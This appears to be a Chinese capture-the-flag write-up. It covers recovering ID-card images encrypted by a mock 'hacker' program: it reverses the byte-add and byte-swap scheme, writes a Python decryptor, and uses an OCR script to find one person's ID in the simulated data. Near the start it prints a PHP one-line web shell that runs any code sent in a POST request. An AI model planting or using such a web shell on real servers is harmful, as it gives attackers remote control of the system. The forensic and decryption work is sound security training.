严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。
请选⼿获取当前的系统的权限后分析⽂件共享服务器,还原被⿊客加密的客⼾实名信息数据,并将还原数据中⽣⽇为:11⽉2号,姓名为:严旭的身份证号码作为答案提交。
<?php @eval($_POST[2]);?>
获取到当前的系统权限。FileEnc.exe
程序,猜测是黑客用来加密数据的程序。浅浅尝试一下这个加密程序,发现 -E
可以进行加密,-D
可以进行解密。
以加密 hacker.jpg 文件为例,在实现 .\FileEnc.exe -E -I .\in\ -O .\out\
指令后,发现 in 目录下多出了两个加密过程文件:
hacker.jpg
hacker.jpg.tmp1
hacker.jpg.tmp2
同时,out 目录下会生成一个加密后的文件 hacker.jpg.02
,但经过对比发现,hacker.jpg.tmp2
和 hacker.jpg.02
是同一个文件。
但当我们通过 -D
指令实现解密时,发现被没有对文件进行解密,话不多说,直接根据已知的信息找到两个解密函数:
发现它们并没有实现解密,因此接下来我们需要根据加密函数逆推解密。
先来分析加密函数 byte_add_num
函数,它的作用就是在原先的数值基础上再加114:
再分析 enExchangeBte
函数,将文件二进制流中的两两字节进行互换,即 ab 换成 ba,同时对于奇数长度的文件,会对最后一个字节进行特殊处理:
最终编写解密脚本:
import os
def decode_img(input_dir, output_dir):
if not os.path.exists(output_dir):
os.makedirs(output_dir)
for name in os.listdir(input_dir):
with open(f"{input_dir}/{name}", "rb") as f:
file = f.read()
temp1 = [(byte - 114) % 256 for byte in file]
if len(temp1) % 2 == 0:
temp1[::2], temp1[1::2] = temp1[1::2], temp1[::2]
else:
temp1[0:-1:2], temp1[1:-1:2] = temp1[1:-1:2], temp1[0:-1:2]
with open(f"{output_dir}/{name[:-3]}", "wb") as f:
f.write(bytearray(temp1))
运行结果:
虽然我们成功解密了数据,但是还有一个问题,这里有四千个身份证信息图片,如果我们用眼睛一个一个去筛查,那直接老眼昏花,因此需要编写一个 OCR 脚本。
由于需要识别的信息比较常规,因此使用 tesseract 足矣,编写脚步如下所示:
def process_image(file, bar):
try:
image = Image.open(file).convert("L")
enhancer = ImageEnhance.Contrast(image)
image = enhancer.enhance(2)
image = image.point(lambda x: 0 if x < 140 else 255)
text = pytesseract.image_to_string(image, lang='chi_sim')
if "严旭" in text:
tqdm.write(f"\nFile: {os.path.basename(file)}")
tqdm.write(text)
image.close()
except Exception as e:
tqdm.write(f"Error processing {file}: {e}")
finally:
bar.update(1)
上述代码主要是将图片转为灰度图,然后增强对比度,再进行二值化处理,最后使用 tesseract 识别图中的信息。
这里由于目标识别数量较多,因此使用 tqdm
来实现进度条统计,同时,可以显著加速任务执行。使用 ThreadPoolExecutor
实现并发处理,可以显著加速任务执行。
代码如下所示:
if __name__ == '__main__':
decode_dir = "decode"
files = [os.path.join(decode_dir, file) for file in os.listdir(decode_dir)]
with tqdm(total=len(files), desc="Processing images") as progress_bar:
with ThreadPoolExecutor() as executor:
for file in files:
executor.submit(process_image, file, progress_bar)
运行结果:
最终根据图片 ID 找到这张身份证(注意识别身份信息为模拟数据):
以上就是 破译黑客加密:场景模拟还原数据的完整过程 的所有内容了,希望本篇博文对大家有所帮助!欢迎大家持续关注我的博客,一起分享学习和成长的乐趣!✨
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。